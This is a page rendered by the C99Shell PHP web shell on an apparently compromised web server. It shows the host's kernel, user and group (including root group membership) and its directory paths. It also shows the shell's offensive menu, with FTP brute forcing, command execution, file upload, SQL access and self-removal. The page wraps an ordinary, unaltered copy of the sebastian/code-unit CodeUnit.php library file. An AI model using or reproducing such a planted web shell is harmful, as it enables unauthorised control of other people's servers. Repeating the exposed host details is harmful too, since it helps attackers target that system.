!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/sebastian/code-unit/src/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CodeUnit.php (11.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of sebastian/code-unit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\CodeUnit;

use function 
range;
use function 
sprintf;
use 
ReflectionClass;
use 
ReflectionFunction;
use 
ReflectionMethod;

/**
 * @psalm-immutable
 */
abstract class CodeUnit
{
    
/**
     * @var string
     */
    
private $name;

    
/**
     * @var string
     */
    
private $sourceFileName;

    
/**
     * @var array
     * @psalm-var list<int>
     */
    
private $sourceLines;

    
/**
     * @psalm-param class-string $className
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forClass(string $className): ClassUnit
    
{
        
self::ensureUserDefinedClass($className);

        
$reflector self::reflectorForClass($className);

        return new 
ClassUnit(
            
$className,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param class-string $className
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forClassMethod(string $classNamestring $methodName): ClassMethodUnit
    
{
        
self::ensureUserDefinedClass($className);

        
$reflector self::reflectorForClassMethod($className$methodName);

        return new 
ClassMethodUnit(
            
$className '::' $methodName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param class-string $interfaceName
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forInterface(string $interfaceName): InterfaceUnit
    
{
        
self::ensureUserDefinedInterface($interfaceName);

        
$reflector self::reflectorForClass($interfaceName);

        return new 
InterfaceUnit(
            
$interfaceName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param class-string $interfaceName
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forInterfaceMethod(string $interfaceNamestring $methodName): InterfaceMethodUnit
    
{
        
self::ensureUserDefinedInterface($interfaceName);

        
$reflector self::reflectorForClassMethod($interfaceName$methodName);

        return new 
InterfaceMethodUnit(
            
$interfaceName '::' $methodName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param class-string $traitName
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forTrait(string $traitName): TraitUnit
    
{
        
self::ensureUserDefinedTrait($traitName);

        
$reflector self::reflectorForClass($traitName);

        return new 
TraitUnit(
            
$traitName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param class-string $traitName
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forTraitMethod(string $traitNamestring $methodName): TraitMethodUnit
    
{
        
self::ensureUserDefinedTrait($traitName);

        
$reflector self::reflectorForClassMethod($traitName$methodName);

        return new 
TraitMethodUnit(
            
$traitName '::' $methodName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param callable-string $functionName
     *
     * @throws InvalidCodeUnitException
     * @throws ReflectionException
     */
    
public static function forFunction(string $functionName): FunctionUnit
    
{
        
$reflector self::reflectorForFunction($functionName);

        if (!
$reflector->isUserDefined()) {
            throw new 
InvalidCodeUnitException(
                
sprintf(
                    
'"%s" is not a user-defined function',
                    
$functionName
                
)
            );
        }

        return new 
FunctionUnit(
            
$functionName,
            
$reflector->getFileName(),
            
range(
                
$reflector->getStartLine(),
                
$reflector->getEndLine()
            )
        );
    }

    
/**
     * @psalm-param list<int> $sourceLines
     */
    
private function __construct(string $namestring $sourceFileName, array $sourceLines)
    {
        
$this->name           $name;
        
$this->sourceFileName $sourceFileName;
        
$this->sourceLines    $sourceLines;
    }

    public function 
name(): string
    
{
        return 
$this->name;
    }

    public function 
sourceFileName(): string
    
{
        return 
$this->sourceFileName;
    }

    
/**
     * @psalm-return list<int>
     */
    
public function sourceLines(): array
    {
        return 
$this->sourceLines;
    }

    public function 
isClass(): bool
    
{
        return 
false;
    }

    public function 
isClassMethod(): bool
    
{
        return 
false;
    }

    public function 
isInterface(): bool
    
{
        return 
false;
    }

    public function 
isInterfaceMethod(): bool
    
{
        return 
false;
    }

    public function 
isTrait(): bool
    
{
        return 
false;
    }

    public function 
isTraitMethod(): bool
    
{
        return 
false;
    }

    public function 
isFunction(): bool
    
{
        return 
false;
    }

    
/**
     * @psalm-param class-string $className
     *
     * @throws InvalidCodeUnitException
     */
    
private static function ensureUserDefinedClass(string $className): void
    
{
        try {
            
$reflector = new ReflectionClass($className);

            if (
$reflector->isInterface()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is an interface and not a class',
                        
$className
                    
)
                );
            }

            if (
$reflector->isTrait()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is a trait and not a class',
                        
$className
                    
)
                );
            }

            if (!
$reflector->isUserDefined()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is not a user-defined class',
                        
$className
                    
)
                );
            }
            
// @codeCoverageIgnoreStart
        
} catch (\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * @psalm-param class-string $interfaceName
     *
     * @throws InvalidCodeUnitException
     */
    
private static function ensureUserDefinedInterface(string $interfaceName): void
    
{
        try {
            
$reflector = new ReflectionClass($interfaceName);

            if (!
$reflector->isInterface()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is not an interface',
                        
$interfaceName
                    
)
                );
            }

            if (!
$reflector->isUserDefined()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is not a user-defined interface',
                        
$interfaceName
                    
)
                );
            }
            
// @codeCoverageIgnoreStart
        
} catch (\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * @psalm-param class-string $traitName
     *
     * @throws InvalidCodeUnitException
     */
    
private static function ensureUserDefinedTrait(string $traitName): void
    
{
        try {
            
$reflector = new ReflectionClass($traitName);

            if (!
$reflector->isTrait()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is not a trait',
                        
$traitName
                    
)
                );
            }

            
// @codeCoverageIgnoreStart
            
if (!$reflector->isUserDefined()) {
                throw new 
InvalidCodeUnitException(
                    
sprintf(
                        
'"%s" is not a user-defined trait',
                        
$traitName
                    
)
                );
            }
        } catch (
\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * @psalm-param class-string $className
     *
     * @throws ReflectionException
     */
    
private static function reflectorForClass(string $className): ReflectionClass
    
{
        try {
            return new 
ReflectionClass($className);
            
// @codeCoverageIgnoreStart
        
} catch (\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * @psalm-param class-string $className
     *
     * @throws ReflectionException
     */
    
private static function reflectorForClassMethod(string $classNamestring $methodName): ReflectionMethod
    
{
        try {
            return new 
ReflectionMethod($className$methodName);
            
// @codeCoverageIgnoreStart
        
} catch (\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}

    
/**
     * @psalm-param callable-string $functionName
     *
     * @throws ReflectionException
     */
    
private static function reflectorForFunction(string $functionName): ReflectionFunction
    
{
        try {
            return new 
ReflectionFunction($functionName);
            
// @codeCoverageIgnoreStart
        
} catch (\ReflectionException $e) {
            throw new 
ReflectionException(
                
$e->getMessage(),
                (int) 
$e->getCode(),
                
$e
            
);
        }
        
// @codeCoverageIgnoreEnd
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--